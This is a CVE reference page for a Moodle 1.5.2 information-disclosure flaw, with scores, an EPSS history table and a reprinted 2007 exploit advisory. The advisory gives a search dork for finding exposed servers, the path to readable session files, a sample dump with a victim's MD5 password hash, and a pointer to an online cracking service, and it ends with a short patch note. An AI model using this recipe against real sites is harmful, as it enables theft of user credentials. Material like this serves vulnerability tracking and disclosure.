CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Moodle 1.5.2 and earlier stores sensitive information under the web root with insufficient access control, and provides directory listings, which allows remote attackers to obtain user names, password hashes, and other sensitive information via a direct request for session (sess_*) files in moodledata/sessions/.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.8
AV:N/AC:L/Au:N/C:C/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
1.63%
–
2023-07-23
–
–
–
1.59%
–
2023-08-27
–
–
–
2.39%
–
2023-09-10
–
–
–
2.39%
–
2023-12-24
–
–
–
2.38%
–
2024-01-28
–
–
–
2.68%
–
2024-02-11
–
–
–
2.68%
–
2024-06-02
–
–
–
2.68%
–
2024-06-30
–
–
–
2.68%
–
2024-08-04
–
–
–
2.68%
–
2024-08-11
–
–
–
2.68%
–
2024-08-25
–
–
–
2.85%
–
2024-12-22
–
–
–
2.85%
–
2025-01-12
–
–
–
2.85%
–
2025-01-19
–
–
–
2.85%
–
2025-03-18
–
–
–
–
2.79%
2025-04-22
–
–
–
–
3.04%
2025-04-22
–
–
–
–
3.04,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
--/ INTRODUCTION --
/*
*
* Advisory : MOODLE <= 1.5.2 user password read out
* Release Date : 17. March 2007
* Application : Moodle.org is a course management system (CMS)
* : to help educators create effective online learning communities.
* Impact : read out user account passwords in md5 hash
* Googledork : "inurl:moodledata"
* Author : xSh[at]overclock.ch
*
*/
--/ SUMMARY --
Moodle is a course management system (CMS) - a free, Open Source
software package designed using sound pedagogical principles, to
help educators create effective online learning communities. You
can download and use it on any computer you have handy (including
webhosts), yet it can scale from a single-teacher site to a
50,000-student University. (www.moodle.org)
--/ REPRODUCE --
The moodle CMS is located at 'www.TARGET.com/moodle' and the moodle
database at 'www.TARGET.com/moodledata' including uploads, temp and
session files. We're interested to get the session files, created
by each user:
http://www.TARGET.com/moodledata/sessions/
Filename:
sess_280c9fca6458bf24277cf03c45d2a770
Content: (> 2KB)
SESSION|O:6:"object":12:{s:12:"session_test";s:10:"zN0PiMhwWK";s:8:"encoding";
s:10:"iso-8859-1";s:7:"fromurl";s:69:"http://www.TARGET.com/moodle/mod/forum/
view.php?id=100";s:10:"logincount";i:1;s:18:"cal_course_referer";i:0;s:15:"cal
_show_global";b:1;s:15:"cal_show_groups";b:1;s:15:"cal_show_course";b:1;s:13:"
cal_show_user";b:1;s:17:"cal_courses_shown";a:2:{i:1;b:1;i:9;b:1;}s:15:"cal_u
sers_shown";s:2:"86";s:14:"fromdiscussion";s:64:"http://www.TARGET.com/moodle/
course/view.php?id=9";}USER|O:8:"stdClass":94:{i:0;s:2:"86";s:2:"id";s:2:"86";
i:1;s:5:"email";s:4:"auth";s:5:"email";i:2;s:1:"1";s:9:"confirmed";s:1:"1";i:
3;s:1:"0";s:12:"policyagreed";s:1:"0";i:4;s:1:"0";s:7:"deleted";s:1:"0";i:5;s:
33:"victim@target.com";s:8:"username";s:33:"victim@target.com";i:6;s:32:"bb07c
989b57c25fd7e53395c3e118185";s:8:"password";s:32:"bb07c989b57c25fd7e53395c3e118185";
i:7;N;s:8:"idnumber";N;i:8;s:9:"Victim";s:9:"firstname";s:9:"Victim";i:9;s:5:
"Victim";s:8:"lastname";s:5:"Victim";i:10;s:33:"victim@target.com";s:5:"email";
In cryptography, MD5 (Message-Digest algorithm 5) is a widely-used cryptographic
hash function with a 128-bit hash value. (md5 online crack: http://gdataonline.com)
Password (md5 string) = bb07c989b57c25fd7e53395c3e118185
Password (plain text) = Claudia
-- PATCH /--
Don't allow Directory listing. There are no other possibilities actually as far as I know.
# milw0rm.com [2007-03-18]